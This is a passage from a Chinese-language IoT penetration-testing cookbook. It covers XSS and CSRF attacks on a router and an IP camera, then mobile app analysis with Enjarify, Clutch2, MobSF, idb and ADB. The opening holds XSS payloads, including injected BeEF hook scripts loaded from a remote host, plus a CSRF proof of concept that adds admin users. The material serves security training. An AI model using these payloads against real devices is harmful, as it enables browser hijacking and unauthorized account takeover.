'%2balert(document.cookie)%2b'
  1. 现在我们可以看到在我们的浏览器中呈现出IoTCookbook=1234567890的 cookie 值,使用基本的alert(document.cookie)负载:

太棒了!我们现在知道我们可以在这一点上进行一些基本的 XSS 负载。幸运的是,我们还没有遇到任何字符限制或任何类型的过滤。让我们看看我们是否可以造成更多的损害,并将 BeEF 钩负载插入到易受攻击的参数中。毕竟,警报框会带来什么风险呢?

使用 BeEF XSS 负载的介绍

BeEF 是一个利用 Web 浏览器和客户端攻击向量的工具,通过易受攻击的应用程序参数和社会工程技术在受害者环境中钩取一个或多个 Web 浏览器。当受害者执行了它的负载时,BeEF 将钩取一个或多个 Web 浏览器,然后可以利用多个命令模块进行进一步的利用。接下来的部分将扩展我们发现的 XSS 漏洞,使其执行 BeEF 钩,并介绍一些基本用法。

BeEF 很强大,展示了 XSS 的影响力:

  1. 现在我们已经演示了基本的 XSS 负载执行,我们将尝试使用类似格式的 BeEF 负载进行GET请求:
http://192.168.1.1/start_apply.htm?next_page= '+<script src=//172.16.100.139:3000/hook.js></script>+' 
  1. 使用这个GET请求,我们可以看到浏览器响应一个损坏的页面,如下图所示:

  1. 再次,我们正在破坏一些 JavaScript 代码,阻止浏览器执行我们在 BeEF 服务器上托管的外部 JavaScript 代码。很可能我们需要终止预期的 JavaScript 代码,并开始我们自己的<script>标签,以请求我们的外部 JavaScript BeEF。我们可以尝试添加一个带有打开和关闭脚本标签括号的参数,添加引号,然后尝试使用以下GET请求调用我们的 BeEF 钩有效负载:
http://192.168.1.1/start_apply.htm?next_page=param<script></script>+"<script src=http://172.16.100.139:3000/hook.js></script>
  1. 当我们发送GET请求并查看浏览器响应时,似乎输出相同的破损 JavaScript;但是,如果我们查看 ZAP,我们可以看到浏览器向我们的 BeEF 服务器发送请求:

  1. 以下是 ZAP 历史选项卡中显示的 BeEF 钩请求:

  1. 从 BeEF 服务器,我们已成功用我们的有效负载钩住了我们的浏览器,如下面的屏幕截图所示:

钩住受害者时 BeEF 的基本使用

以下是钩住受害者时 BeEF 的基本使用:

  1. 一旦受害者被钩住,BeEF 会快速枚举运行在受害者计算机上的信息。

以下屏幕截图说明了 BeEF 捕获的内容:

  1. 除了主机详细信息,BeEF 还使用许多利用模块在受害者身上使用,如下面的屏幕截图所示:

  1. 网络类别中的一个模块可以扫描受害者的端口以进行后期利用:

通过受害者的浏览器代理流量

BeEF 的我最喜欢的功能之一是能够使用受害者作为代理,代表用户发送伪造请求:

  1. 这就像右键单击被钩住的受害者以用作代理一样简单,导航到 Rider 选项卡,并使用 Forge Request 选项,如下面的屏幕截图所示:

  1. 复制已知的HTTP请求,通过受害者的浏览器伪造,例如创建或更改管理员用户的密码,如下面的屏幕截图所示:

  1. 在历史选项卡中查看伪造的响应:

  1. 当伪造的请求被双击时,将打开另一个选项卡,显示伪造请求的路径和HTTP响应,如下面的屏幕截图所示:

在这个示例中,我们演示了如何发现易受攻击的 XSS 参数,审查编码考虑因素,解剖 JavaScript 代码,讨论了基本 XSS 有效负载的使用,并利用了 BeEF 钩的跨站脚本漏洞。当 BeEF 钩住受害者时,有许多可能性和利用技术可供使用。

还有更多...

有关 BeEF 模块和高级功能的详细信息,请访问 BeEF 的 GitHub 维基页面,网址为github.com/beefproject/beef/wiki

另请参阅

  • 在尝试利用 XSS 时有许多注意事项,超出了基本的警报框。经常需要调整编码以逃避过滤器或由于字符限制而最小化有效负载。有关逃避过滤器和 XSS 的一般帮助,请查看 OWASP 的 XSS 维基页面,网址为www.owasp.org/index.php/Cross-site_Scripting_(XSS)。XSS 维基页面还链接到几个 XSS 测试指南文件,例如逃避过滤器。

利用 CSRF

CSRF 是一种攻击,它欺骗受害者以受害者的身份和权限提交恶意请求,以代表受害者执行不需要的功能。对于大多数应用程序,浏览器将自动包括任何相关的会话信息,如用户的会话 cookie、令牌、IP 地址,有时还包括 Windows 域凭据 NTLM 哈希。如果受害者用户当前已经在站点上进行了身份验证,站点将无法区分受害者发送的伪造请求和受害者发送的合法请求。

CSRF 攻击针对引起服务器状态更改的应用功能,例如更改受害者的电子邮件地址、密码或各种其他应用程序配置设置。如果攻击成功,对手不会收到响应,只有受害者会收到。因此,CSRF 攻击针对以自动方式执行的更改状态的配置请求。由于嵌入式物联网设备由于硬件计算复杂性而容易受到 CSRF 攻击的影响。尽管有预防性设计模式,不需要服务器端状态,而是应用程序验证 HTTP 引用者和来源标头,但这些并不是有效的解决方案。

CSRF 攻击已经被用于针对物联网设备和 SOHO 路由器的恶意软件,以将受害者的流量重定向到攻击者控制的 DNS 服务器,用于控制互联网流量以及进行 DDoS 攻击。其中一些恶意软件分别称为 SOHO Pharming(www.team-cymru.com/ReadingRoom/Whitepapers/2013/TeamCymruSOHOPharming.pdf)和 DNSChanger(www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices)。在本教程中,我们将演示如何在目标设备上利用 CSRF。

准备工作

为了利用 CSRF,我们将使用 Burp Suite 和易受攻击的 IHOMECAM ICAM-608 IP 摄像头。

如何做...

我们发现应用程序是否容易受到 CSRF 攻击的第一步是观察请求参数和 HTML 表单值,这些值会改变应用程序的状态。如果每个参数都没有发送一个随机令牌,或者 HTML 表单中没有硬编码的令牌,那么应用程序很可能容易受到 CSRF 攻击。我们要么改变对我们作为攻击者有利的敏感配置,要么对设备进行持久化,比如添加用户。

  1. 让我们看一下目标 IP 摄像头的用户设置配置页面及其源代码:

  1. 用户设置页面的源代码看起来似乎没有包含反 CSRF 令牌,并且盲目地将参数输入到页面的 URL 中而没有任何验证:

我们现在可以创建一个概念验证PoC)CSRF HTML 页面,代表受害者创建三个用户。

  1. 首先,我们需要右键单击易受攻击的 HTTP 请求,然后选择生成 CSRF PoC:

  1. Burp Suite 创建了一个我们可以武装并根据需要调整的 PoC HTML 页面。我们的下一步是更改管理员用户设置,并通过硬编码输入值添加两个新用户。在下面的截图中,我们添加了IoTCookbookUserAdminIoTCookbookUser1IoTCookbookUser2

  1. 在浏览器中选择测试,弹出以下框:

  1. 将链接复制到浏览器中:

  1. 一旦在浏览器中运行链接,请观察发送到 Burp Suite 代理 HTTP 历史记录的请求,其中包含我们在 PoC HTML 页面中使用的硬编码输入值,用于将用户添加到 IP 摄像机:

  1. 刷新 IP 摄像机的用户设置页面以查看所做的更改:

当发送 CSRF PoC 页面给受害者时,可以利用类似的策略和技术,基于上述恶意软件。管理员和用户帐户将以自动化方式创建,允许攻击者代表受害者用户进行未经授权的更改。

另请参阅

第五章:利用物联网移动应用程序

在本章中,我们将介绍以下内容:

  • 获取物联网移动应用程序

  • 反编译 Android 应用程序

  • 解密 iOS 应用程序

  • 使用 MobSF 进行静态分析

  • 使用 idb 分析 iOS 数据存储

  • 分析 Android 数据存储

  • 执行动态分析测试

在消费者和一些商业的物联网设备中,通常会配备一个移动应用程序来实现某种目的。例如,移动应用程序可能会向车队管理基础设施的服务器报告分析数据,或者该应用程序可能被授予委托控制启动汽车发动机。在每种情况下,数据很可能存储在移动应用程序中,并且可以被操纵以执行意外的操作。为了开始发现漏洞并逆向工程移动应用程序,可以将第三章中讨论的类似方法应用于移动空间。首先必须获取应用程序;之后,可以对应用程序进行静态分析、动态分析,并在适用的情况下重新打包。本章将帮助评估物联网移动应用程序,以便利用在该领域发现的常见漏洞。

介绍

在移动应用程序安全测试中,有一个四阶段的方法论,可以按以下方式分类:

  • 应用程序映射:应用程序映射涉及应用程序的逻辑和业务功能。将应用程序映射视为收集有关应用程序的信息,以便在下一阶段使用。

  • 客户端攻击:客户端攻击涉及存储在应用程序中的数据以及如何从客户端进行操纵。

  • 网络攻击:网络攻击涉及网络层的问题,如 SSL/TLS 或 XMPP 协议数据。

  • 服务器攻击:服务器攻击适用于 API 漏洞和后端服务器配置错误,这些问题是由 API 测试揭示的。

如果通过白盒或黑盒视角进行测试,这种方法可能会有所不同。从白盒和黑盒测试视角都相关的是移动应用程序安全验证标准MASVS)。MASVS 旨在建立所需的安全要求框架,以设计、开发和测试 iOS 和 Android 移动应用程序(www.owasp.org/images/f/fe/MASVS_v0.9.3.pdf)。此外,已经确定了影响 Android 和 iOS 应用程序的常见漏洞的趋势和模式,并将其转化为一个检查表,以配合 MASVS,测试人员和开发人员在评估应用程序时可以遵循该检查表(www.owasp.org/images/1/1b/Mobile_App_Security_Checklist_0.9.3.xlsx)。该检查表还包含到 OWASP 的移动测试指南的链接,该指南仍在进行中,但已经处于成熟阶段。MASVS 和检查表指出了许多潜在的漏洞和缓解要求。物联网空间中一些最常见的漏洞包括:

  • 硬编码的敏感值

  • 冗长的日志记录

  • 会话管理漏洞

  • 敏感数据的缓存

  • 不安全的数据存储

  • 数据泄露

  • API 通信

这些常见的漏洞可能是由于应用程序的类型(原生或混合)而产生,但也可能是由于糟糕的编码实践引入的。在本章中,将演示许多常见漏洞在两个移动平台上的情况。虽然本书不涵盖这些方法和检查表,但在攻击物联网移动应用时,使用它们作为参考是个好主意。为了简单起见,我们将选择静态分析移动应用的路径,然后逐步向运行时动态分析移动应用。要开始,我们需要目标应用的二进制文件来开始测试物联网移动应用的过程。

虽然在本章中我们将更加强调静态和动态测试,但也有运行时分析测试,包括对目标应用进行插装和断点设置。

获取物联网移动应用

评估物联网设备的移动应用的第一步是获取并安装目标平台的应用。通常,如果物联网设备有一个安卓应用,也会有一个 iOS 应用。要安装安卓应用,使用 Google Play 商店,它也会分享有关应用的基本信息。对于 iOS 应用,使用苹果的 App Store 来安装应用到 iDevice。然而,原始应用程序二进制文件并不是公开的,也无法通过 Play 商店或 App Store 获得。应用程序二进制文件或包被称为安卓包或 APK,以及 iOS 的iOS App Store Package Archive(IPA)。如果你是从白盒的角度测试应用,这些二进制文件将会直接提供给你,无需探索获取应用程序二进制文件的方法。如果你是出于研究目的从黑盒的角度测试,你可能会想知道我们将如何获取应用程序二进制文件。

如何做...

在接下来的步骤中,我们将讨论获取安卓和 iOS 应用的方法。

  1. 安卓有很多第三方应用商店可以用来下载 APK 文件。但是,在使用这些第三方应用商店时需要考虑一些注意事项。有时,应用商店没有更新的应用版本,或者根本就是错误的应用。在安装 Play 商店版本之前,验证应用的哈希值、版本和内容是很重要的。一些第三方应用商店声称有你要找的应用,但最终却被伪装成需要不必要权限的间谍软件应用。从第三方应用商店下载安卓应用的一个很酷的地方是能够下载应用的旧版本以及它们的历史发布说明。选择一个第三方应用商店,比如apps.evozi.comapkpure.com/,搜索目标安卓应用,并按照以下截图中的步骤下载 APK 文件:

下一张截图显示了从app.evozi.com下载 Subaru 应用程序:

  1. 对于 iOS 来说,从黑盒的角度获取 IPA 文件要困难得多。与安卓相比,没有类似的第三方应用商店可供选择。这是因为苹果的 FairPlay DRM 加密了 iOS 应用。没有必要的工具,这是一个挑战。在接下来的教程中,将介绍解密 iOS 应用的步骤。如果你专注于 iOS 测试,可以直接跳到解密 iOS 应用的教程。

反编译安卓应用

有了目标 IoT 应用程序和下载的 APK 文件,现在可以对应用程序进行反编译以查看其内容。对于 Android 应用程序,这个任务可以在几分钟内完成。稍后,将更详细地介绍静态分析应用程序的自动化测试技术。反编译应用程序是逆向工程应用程序以操纵其功能的第一步。应用程序也可以在修改后重新编译和打包,但这超出了我们的范围。

准备工作

要反编译 Android 应用程序,我们将使用 Enjarify 和 JD-GUI。Enjarify 将 Dalvik 字节码转换为 Java 字节码,然后使用 JD-GUI 进一步分析。JD-GUI 是一个用于查看 Java 代码的 Java 反编译器。这两个工具都包含在附带的虚拟机中:

Enjarify 确实需要 Python 3 作为依赖项。

如何做...

  1. 首先,输入 Enjarify 文件夹路径,并将 Enjarify 指向目标 APK。在这种情况下,APK 与 Enjarify 在同一个目录中:
$ bash enjarify.sh com.subaru.telematics.app.remote.apk 
Using python3 as Python interpreter
1000 classes processed
2000 classes processed
Output written to com.subaru.telematics.app.remote-enjarify.jar
2813 classes translated successfully, 0 classes had errors
  1. 打开 JD-GUI 并拖动 Enjarify 创建的 JAR 文件:

  1. 现在可以阅读和理解 Java 类,以进行进一步的分析。例如,可以搜索使用rawQuery保存数据到 SQLite 的实例,以便识别 SQL 注入,如下面的屏幕截图所示。其他关键字,如*keys*execSQL*password*,也是常见的搜索词:

  1. 这种技术已经被用来定位硬编码的秘密,比如嵌入在消费电子展CES)移动应用程序中的 iBeacons 值,用于寻宝比赛(www.ibeacon.com/the-beacons-at-ces-were-hacked/):

  1. 使用硬编码的信标发布在 CES 的移动应用程序中,每个人都可以玩,而不需要在拉斯维加斯。简单,对吧?拥有 Java 伪代码比阅读 smali/baksmali 代码要容易得多。如果应用程序使用了混淆形式,或者应用程序使用了 C/C++,情况可能并非总是如此,但这是特定于应用程序的。将获得对应用程序功能的额外理解,这可以通过运行时或动态分析进行测试和验证。

另请参阅

解密 iOS 应用程序

由于 iOS 应用程序由苹果的 FairPlay DRM 加密,因此无法通过第三方应用商店下载未加密的版本。要查看 iOS 应用程序的内容,必须首先对其进行解密和提取。尽管可以直接从 iTunes 下载加密的 IPA 文件,但是使用 otool、lldb 和 dd 等工具手动解密应用程序是一个手动过程。幸运的是,使用一个名为 Clutch2 的工具已经自动化了这个过程。

Dumpdecrypted 是另一个工具,可以用来将解密的 iOS 应用程序转储到文件中,但本章不会使用。Dumpdecrypted 可以在存储库中找到:github.com/stefanesser/dumpdecrypted

准备工作

对于这个步骤,将使用 otool,它包含在 XCode 的命令行工具中。可以通过在 OS X 终端中执行以下命令来安装 XCode 命令行工具:

$ xcode-select -install

Clutch2 将用于解密应用程序。可以通过 GitHub 存储库github.com/KJCracks/Clutch下载 Clutch2,也可以通过 Cydia 在越狱设备上安装 Clutch 2.0,方法是添加cydia.iphonecake.com作为源,并搜索 Clutch 2.0,如下屏幕截图所示:

如何做到这一点...

  1. 要找出应用程序是否加密,必须将 IPA 文件重命名为 ZIP 文件,并且必须在重命名的提取文件夹内找到应用程序二进制文件。例如,对应用程序二进制文件运行以下命令,而不是对 IPA 文件运行,以检查应用程序是否加密。如果cryptid的值为1,则表示应用程序已加密:
$ mv MySubaru.ipa MySubaru.zip
$unzip MySubaru.zip
$cd Payload/MySubaru.app/
$ otool -l MySubaru | grep -A 4 cryptid
 cryptid 1
 cryptid 1

现在已经确定应用程序已加密。手动解密应用程序超出了范围,但是可以利用Clutch2自动化应用程序解密过程。运行Clutch2而不带任何参数时,将列出所有已安装的应用程序:

# Clutch2 
Installed apps:
1:   SUBARU STARLINK <com.subaru-global.infotainment.gen2>

  1. 接下来,使用-d标志和选择数字来转储要解密的应用程序。在这种情况下,要解密和转储的应用程序是编号为一的应用程序:
# Clutch2 -d 1
Now dumping com.subaru-global.infotainment.gen2

DEBUG | ClutchBundle.m:-[ClutchBundle prepareForDump] [Line 30] | preparing for dump
<Redacted>
DUMP | <ARMDumper: 0x14695030> armv7 <STARLINK> ASLR slide: 0x4f000
Finished dumping binary <STARLINK> armv7 with result: 1
DONE: /private/var/mobile/Documents/Dumped/com.subaru-global.infotainment.gen2-iOS6.1-(Clutch-2.0 RC4).ipa
DEBUG | FinalizeDumpOperation.m:__30-[FinalizeDumpOperation start]_block_invoke_2 [Line 60] | ending the thread bye bye
Finished dumping com.subaru-global.infotainment.gen2 in 35.2 seconds
  1. 应用程序现在已解密。使用scp将解密的应用程序从 iDevice 传输到主机计算机,方法如下:
# scp -v '/private/var/mobile/Documents/Dumped/com.subaru-global.infotainment.gen2-iOS6.1-(Clutch-2.0 RC4).ipa' Tester@<HostIPAddress>:~/ 
  1. 将解密后的 IPA 文件重命名为 ZIP,类似于之前练习中用来验证应用程序是否加密的步骤:
$ mv com.subaru-global.infotainment.gen2-iOS6.1-\(Clutch-2.0\ RC4\).ipa com.subaru-global.infotainment.gen2-iOS6.1-\(Clutch-2.0\ RC4\).zip 
Unzip the folder and a new "Payload" directory will be created.  
$ unzip com.subaru-global.infotainment.gen2-iOS6.1-\(Clutch-2.0\ RC4\).zip 
  1. 切换到Payload/STARLINK.app目录,该目录包含应用程序二进制文件:
$ cd Payload/STARLINK.app/ 
$ ls -lah STARLINK  
-rwxrwxrwx  1 Tester  staff    30M Jun  7 17:50 STARLINK 
  1. 可以使用诸如 Hopper 之类的工具对应用程序二进制文件的内容进行反汇编以进行进一步分析。还可以使用class-dump转储类信息,并通过反汇编器进行进一步分析。例如,可以通过 Hopper 执行以下屏幕截图中所示的方式来检查应用程序的saveCredentialsToKeychain类中存储凭据的方式:

通过对应用程序的类和方法有额外的了解,可以通过动态或运行时分析来操纵和测试应用程序的功能。动态测试将在本章后面进行介绍。

另请参阅

使用 MobSF 进行静态分析

鉴于已获取了 Android 和 iOS 的应用程序二进制文件,我们可以使用自动化技术进行进一步分析。一个非常好的开源 Python 工具,可以用于 Android 和 iOS 的是移动安全框架MobSF)。MobSF 可以为我们自动化执行多项功能和能力,特别是对于 Android 应用程序。本步骤将演示 MobSF 对 Android 和 iOS 的自动静态分析功能。静态分析通常需要访问源代码,但是反编译 Android 和 iOS 应用程序可以为我们提供接近原始源代码的伪代码形式。

准备工作

MobSF 包含在附带的虚拟机中,版本为 0.9.5.2 beta。MobSF 不断更新,可以通过github.com/MobSF/Mobile-Security-Framework-MobSF下载。确保已安装 MobSF 文档中列出的所有依赖项。

确保已获取目标 APK 和解密的 iOS IPA 应用程序。MobSF 不会自动解密 iOS 应用程序。MobSF 需要解密的 IPA 文件来分析应用程序,而不是应用程序 Payload 中的解密二进制文件,当将 IPA 文件重命名为 ZIP 时,MobSF 会自动执行此步骤(MobSF 是开源的,可以修改为使用原始二进制文件而不是 IPA)。Clutch2 可以在 iOS 设备上使用-d标志转储 IPA 文件。

如何做...

  1. 要启动 MobSF,请在终端中运行以下命令:
$ python manage.py runserver

  1. MobSF 的 Web-UI 应该出现在您的浏览器中,地址为127.0.0.1:8000,如下截图所示:

Android 静态分析

  1. 首先,我们将分析一个 Android 应用程序。将目标 APK 拖放到 MobSF 的 Web 界面上,MobSF 将自动反编译并分析应用程序的内容。在此界面中,列出了核心 Android 组件(活动、服务、接收器和提供者),以及有关应用程序的元数据。

MobSF 允许灵活使用不同的 Java 反编译器和 Dex 到 JAR 转换器。查看MobSF/settings.py配置文件,了解如何修改这些设置。

  1. 随着您向下滚动,MobSF 会分析应用程序权限、Android API 使用情况、可浏览的活动等许多其他静态分析功能,这些功能可能会有所帮助。我们将查看的区域,可能是最有帮助的,是代码分析子部分。在这里,MobSF 慷慨地标记了糟糕的编码实践以及潜在的易受攻击的代码片段:

  1. 其中一个最方便的部分是查找文件可能包含硬编码的敏感信息,如用户名、密码、密钥等。以下是 MobSF 标记的可能在应用程序中包含硬编码数据的 Java 类的示例:

  1. 在移动应用程序中,很常见找到硬编码的 OAuth client_secret值和云提供商 API 帐户凭据。在本章的前面部分,已经给出了 CES 的硬编码 iBeacons 的类似示例。当选择其中一个标记的 Java 类时,将显示 Java 伪代码,其中演示了硬编码的值,如下截图所示:

2016 年,三星成为了在其 SmartThings 移动应用程序中硬编码他们的client_secret的受害者,使攻击者能够获得访问门锁的令牌。有关此事件的更多详细信息可以在以下论文中找到:

web.eecs.umich.edu/~earlence/assets/papers/smartthings_sp16.pdf

  1. 使用 MobSF,测试 Android 应用程序变得轻而易举。另一方面,iOS 应用程序并不像 MobSF 提供的 Android 静态分析那样简单明了。

iOS 静态分析

  1. MobSF 确实提供了有关 iOS 应用程序的静态分析的有用功能。与 Android 一样,解密后的 iOS IPA 可以拖放到 MobSF 的 Web 界面上。然后,MobSF 将 IPA 重命名为 ZIP,提取内容,分析 plist 文件,检查应用程序请求的权限,并从应用程序中转储类信息,等等。下面的截图显示了一旦解密的 iOS IPA 被拖放到 MobSF 后的着陆页面。MobSF 提供了三个主要选项,包括查看Info.plist、字符串和类转储:

确保您在 MobSF 的设置文件MobSF/settings.py中调整class-dump-z路径,并查找CLASSDUMPZ_BINARY。在我的情况下,class-dump-z的路径是/opt/iOSOpenDev/bin/class-dump-z,但是使用常规的class-dump也应该可以,以及/opt/iOSOpenDev/bin/class-dump

  1. 您将要查看的第一个地方是Info.plist文件。Info.plist文件包含有关应用程序的基本信息,例如权限、IPC URL 方案和 MobSF 在其界面中提取的应用程序传输安全设置。以下截图显示了 MobSF 中的Info.plist文件:

  1. 接下来,选择字符串按钮,显示二进制中的字符串,如下截图所示:

  1. 请注意,有一个 CONSUMERSECRET 作为字符串,这也在 Android 应用程序中发现。通常,如果应用程序的一个版本包含硬编码值,另一个版本可能也包含。我们将在一会儿验证这一点,在查看 MobSF 为我们转储的类信息之后。单击“查看类转储”以列出应用程序的类详细信息。如果您已正确设置了类转储二进制设置,应该会打开一个单独的选项卡并显示类,如下截图所示:

  1. 有了可用的类细节,我们可以确定要分析的应用程序中的功能。例如,我们可以在类似 Hopper 的反汇编器中搜索要分析的类中的密码字符串。以下截图显示了正在使用的类addBasicAuthenticationHeaderWithUsername

  1. addBasicAuthenticationHeaderWithUsername可以在 Hopper 中进一步分析,查看其伪代码如下。只需在字符串选项卡中搜索类addBasicAuthenticationHeaderWithUsername以查看其内容:

查看字符串选项卡中的类内容

  1. 由于我们在 Hopper 中并且已经在之前的步骤中找到了 CONSUMERSECRET,我们可以搜索此字符串以检查它是否也在 iOS 应用程序中硬编码。以下是显示与 Android 应用程序相同的硬编码值的截图。其中一个硬编码的秘密值以 c4d5 结尾,在截图中被突出显示:

硬编码的秘密值

  1. 在定位应用程序中这些硬编码值时,常见的下一步测试是通过动态分析验证它们的影响。动态分析测试将在本章后面进行介绍。

还有更多...

在本节中,我们涵盖了 Android 和 iOS 应用的静态分析。我们没有涵盖运行时分析测试,这需要在应用执行期间挂钩应用程序类和函数。根据您愿意在测试移动应用上花费多少时间和精力,这可能并不总是在您的范围之内。运行时分析非常适用于验证客户端安全控件,例如绕过 PIN 码锁定屏幕或暴力破解登录。OWASP 测试指南提供了 Android 和 iOS 的运行时分析技术的详细信息。访问以下链接获取更多信息:

使用 idb 分析 iOS 数据存储

不幸的是,iOS 开发人员倾向于忽略苹果提供的数据存储 API 控制。这导致数据通过明文数据库(包括 realm DBs)、plist 文件(属性列表)、缓存、键盘和其他存储位置泄漏。有时,应用程序使用的混合框架会鼓励这种行为以提高应用程序性能,但未列出安全后果。根据混合框架和自定义模块的不同,可能需要插件来清除缓存等位置,这增加了开发人员的复杂性。本节将帮助您分析 IoT iOS 应用程序的数据存储。

准备工作

对于这个示例,需要一个已经越狱的 iDevice,以及一个名为 idb 的免费工具。Idb 是一个在 OS X 上运行的免费工具,Ubuntu 用于简化常见的 iOS 应用程序安全评估任务。它目前已安装在附带的虚拟机中,但也可以通过访问 idb 的网页www.idbtool.com/手动安装。如果您使用gem来管理 Ruby,可以使用gem install idb来安装 idb。

在撰写本文时,idb 不支持 iOS 10 应用程序。

要查看 SQLite 数据库条目,请下载并安装 sqlitebrowser,网址为sqlitebrowser.org。SQLite 浏览器也已包含在为本书提供的虚拟机中。

如何操作...

  1. 从终端启动 idb,只需执行idb,用户界面将出现:

  1. 接下来,选择连接到 USB/SSH 设备:

  1. 如果这是您第一次使用 idb,那么需要在越狱设备上安装几个软件包,如果 idb 可以通过 USB 或 SSH 访问设备,它将自行安装这些软件包。这些软件包列在以下屏幕截图中。

越狱 iDevices 的默认用户名和密码是 alpine。

  1. 如果所有所需的软件包都已安装,请从应用程序选择菜单中选择一个应用程序。在这种情况下,选择了 com.skybell.doorbell:

  1. 选择了 SkyBell 应用程序后,我们现在可以专注于应用程序内容以及应用程序如何存储数据。有几个功能可用于自动化 iOS 应用程序评估任务,但是在本演示中将分析存储。要分析应用程序的数据存储,请选择 Storage 选项卡,选择 plists 选项卡,然后按刷新按钮:

  1. 有许多文件出现,但很多对我们的目的不相关。最初要考虑分析的文件是应用程序包目录中的Info.plist文件,以及应用程序在运行时创建的任何偏好文件。在这种情况下,偏好文件被列为 com.skybell.doorbell.plist。我们想要在清晰的 plist 文件中寻找的是关于公司本身或用户的任何个人或敏感数据。如果我们双击打开偏好文件,我们将看到存储在未受保护存储中的 OAuthaccess_tokensrefresh_tokens(CVE-2017-6082)。这些明文令牌可以在以下屏幕截图中看到。通常,access_tokens持久存在以提高用户体验,这样每次打开应用程序时都不需要登录:

  1. 当会话令牌以明文形式存在时,数据很可能没有在多个区域安全存储。在磁盘上寻找存储的敏感数据的常见区域是应用程序启动时在应用程序的data目录中生成的任何类型的数据库或文件。Idb 有能力分析这些区域。我们将查看 Cache.db 选项卡,看看我们找到了什么。

导航到 Cache.dbs 选项卡,选择刷新按钮,并双击打开 Cache.db 条目:

  1. 如下截图所示,此 SQLite 数据库中有许多表:

  1. 这些表包含可以视为文本的 BLOB 数据。事实证明,该应用程序缓存了所有请求和响应,其中包括个人详细信息和令牌数据(CVE-2017-6084):

可以通过指定编辑器路径来利用自定义 SQLite 外部编辑器,例如通过 idb 的设置(例如,~/.idb/settings.yml)。

攻击者可以在启用了自动备份设置的情况下,将受害者的手机插入 iTunes,从而窃取这些数据。攻击者需要插入一个测试 iDevice 并将其恢复到受害者的备份。另一种技术是使用诸如 iFunbox 之类的工具,该工具可以访问非越狱设备的文件系统(www.i-funbox.com/)。在这一点上,攻击者可以外部传输应用的Cache.db,plist 和 SQLite 数据库,以获取会话令牌和其他个人账户信息的访问权限。在这种情况下,攻击者可以查看视频门铃的视频源,并通过调整运动设置或将视频源共享到外部账户来更改其配置。

有了这些知识,可以在不代理连接的情况下查看会话管理控件和 API 数据。可以根据前述的移动应用程序安全检查表来分析会话过期和随机化测试。可以修改plist文件或Cache.db中的数据,并将其上传回设备,以观察应用程序与这些文件的信任关系。

还有更多...

还可以分析其他未在本节中涵盖的数据存储位置。未讨论的项目包括钥匙链、本地存储、领域数据库、日志、BinaryCookies 等许多其他存储位置。请查看 OWASP 的移动安全测试指南,了解有关在 iOS 应用程序中测试数据存储弱点的技术的更多详细信息:github.com/OWASP/owasp-mstg/blob/master/Document/0x06d-Testing-Data-Storage.md

另请参阅

分析 Android 数据存储

在运行时,有几种测试 Android 数据存储的方法。提供了免费和商业的 Android 测试发行版,以帮助自动查看和修改常见的数据存储文件位置。在手动方法中,我们希望在应用程序运行时分析以下常见的存储位置:

  • /data/data/<package_name>/

  • /data/data/<package_name>/databases

  • /data/data/<package_name>/shared_prefs

  • /data/data<package_name>/files/<dbfilename>.realm

  • 需要一个 Realm 浏览器(itunes.apple.com/us/app/realm-browser/id1007457278?

  • /data/data/<package name>/app_webview/

  • Cookies

  • 本地存储

  • Web 数据

  • /sdcard/Android/data/<package_name>

在 Android 中,应用程序的文件结构不会改变,这使得手动分析更加容易。这个步骤将帮助您分析 IoT Android 应用程序的数据存储。

准备就绪

此步骤需要以下物品:

如何做...

  1. 确保使用以下命令连接了测试 Android 设备或模拟器:
# adb devices
List of devices attached 
0a84ca7c device

  1. 连接到测试 Android 设备的控制台,并使用以下 ADB 命令切换到 root 用户:
# adb shell
shell@flo:/ $ su
root@flo:/ #
  1. 更改目标应用程序的目录如下:
# cd data/data/com.skybell.app/
# ls -al
    drwxrwx--x u0_a92   u0_a92            2017-06-23 14:59 app_7122720ab47b4f6c8ad99ba61f521dd2515d6767-01b7-49e5-8273-c8d11b0f331d
    drwxrwx--x u0_a92   u0_a92            2017-01-30 18:46 cache
    drwxrwx--x u0_a92   u0_a92            2017-01-17 16:41 files
    lrwxrwxrwx install  install           2017-06-23 14:58 lib -> /data/app/com.skybell.app-1/lib/arm
    drwxrwx--x u0_a92   u0_a92            2017-01-17 16:41 no_backup
    drwxrwx--x u0_a92   u0_a92            2017-06-23 15:31 shared_prefs

  1. 首先,浏览到shared_prefs目录,列出每个文件,并查看可用的首选项文件,如下面的屏幕截图所示:

似乎存在特殊的编码;应用程序正在运行字符串,这些字符串可能与登录凭据有关,但它确实显示了帐户的用户名。

  1. 接下来,我们将检查com.skybell.app.networking.oauth.oauth_shared_preferences_key.xml文件,如下面的屏幕截图所示:

  1. 我们的帐户 OAuth 令牌似乎以明文存储,类似于我们在 iOS 应用程序中看到的情况。有一个可用的files目录,其中可能有可以查看的 Realm 数据库文件。更改到files目录并列出文件,如下面的屏幕截图所示:

  1. 应用程序似乎使用了一个 Realm 数据库。注意 Realm 数据库所在的目录,并使用以下adb命令将文件拉到您的主机计算机:
adb pull data/data/com.skybell.app/files/default.realm /path/to/store/realdb

在撰写本文时,Realm 数据库只能在使用 App Store 中提供的 Real Browser 的 OS X 计算机上查看。有非官方的 Real Browser 适用于 Android 和 iOS,需要从源代码构建。有关 Realm 数据库的更多详细信息,请访问news.realm.io/news/realm-browser-tutorial/

  1. 双击default.realm文件,将在 Real Browser 中打开 Realm 数据库,如下面的屏幕截图所示:

DeviceRecord 模型说明了门铃的名称和状态,即在线或离线,而 DeviceRecordActivity 模型列出了事件、它们的时间戳和事件的缩略图。这是一种数据泄露,可以通过将 Android 设备备份到计算机并像 iPhone 一样还原,或者通过启用 ADB 后以与通过 ADB 相同的方式提取数据。不幸的是,此应用程序在AndroidManifest.xml中没有标记[android:allowBackup=false],这本来可以减轻这个特定问题,但在这种情况下,存储会使客户面临风险或涉及隐私问题,这仍然是不良做法。

另请参阅

执行动态分析测试

在这个阶段,我们已经静态分析并评估了示例 IoT 移动应用程序中数据的存储方式。我们还没有查看应用程序和服务器之间发送的 API 流量。在运行时查看和篡改应用程序通信被称为动态分析。动态分析测试侧重于评估应用程序在执行过程中的情况。动态分析既在移动平台层进行,也针对移动应用程序的后端服务和 API 进行,其中可以分析请求和响应。在本示例中,我们将为 iOS 设置动态分析测试环境,并为您介绍一些测试用例。

做好准备

对于此示例,将使用 Burp Suite 和/或 OWASP ZAP 来观察应用程序通信。还需要访问 iDevice 和 Android 设备来执行此示例。iDevice 和 Android 设备不必经过越狱或 root,这是查看应用程序通信的好方法。尽管这些步骤适用于两种移动平台,但本示例中的示例仅适用于 iOS。

如何做...

